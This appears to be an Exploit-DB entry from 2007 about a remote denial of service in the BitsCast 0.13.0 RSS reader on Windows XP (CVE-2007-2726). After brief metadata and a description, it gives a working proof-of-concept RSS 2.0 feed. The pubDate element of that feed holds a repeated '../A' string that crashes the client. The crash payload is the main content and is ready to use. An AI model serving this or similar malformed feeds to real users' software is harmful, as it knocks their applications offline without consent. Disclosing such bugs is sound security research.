BitsCast 0.13.0 - invalid string Remote Denial of Service

Author: gbr
type: dos
platform: windows
port: 
date_added: 2007-05-14 
date_updated:  
verified: 1 
codes: OSVDB-39767;CVE-2007-2726 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comBitsCast_0.13.0_WinXP.zip

BitsCast 0.13.0 Remote Denial of Service
Credits: gbr
Tested on Windows XP SP2

BitsCast crashes when receiving a RSS 2.0 feed item with a invalid string* in sub-element
'pubDate'.


* '../A' x 8, 'A/../' x 8, and others.

PoC:

<?xml version="1.0"?>
<rss version="2.0">

<channel>
        <title>Test</title>
        <link></link>
        <description></description>

        <item>
                <title>Remote DoS PoC</title>
                <link></link>
                <description></description>
                <pubDate>../A../A../A../A../A../A../A../A../A../A../A../A</pubDate>
        </item>

</channel>
</rss>

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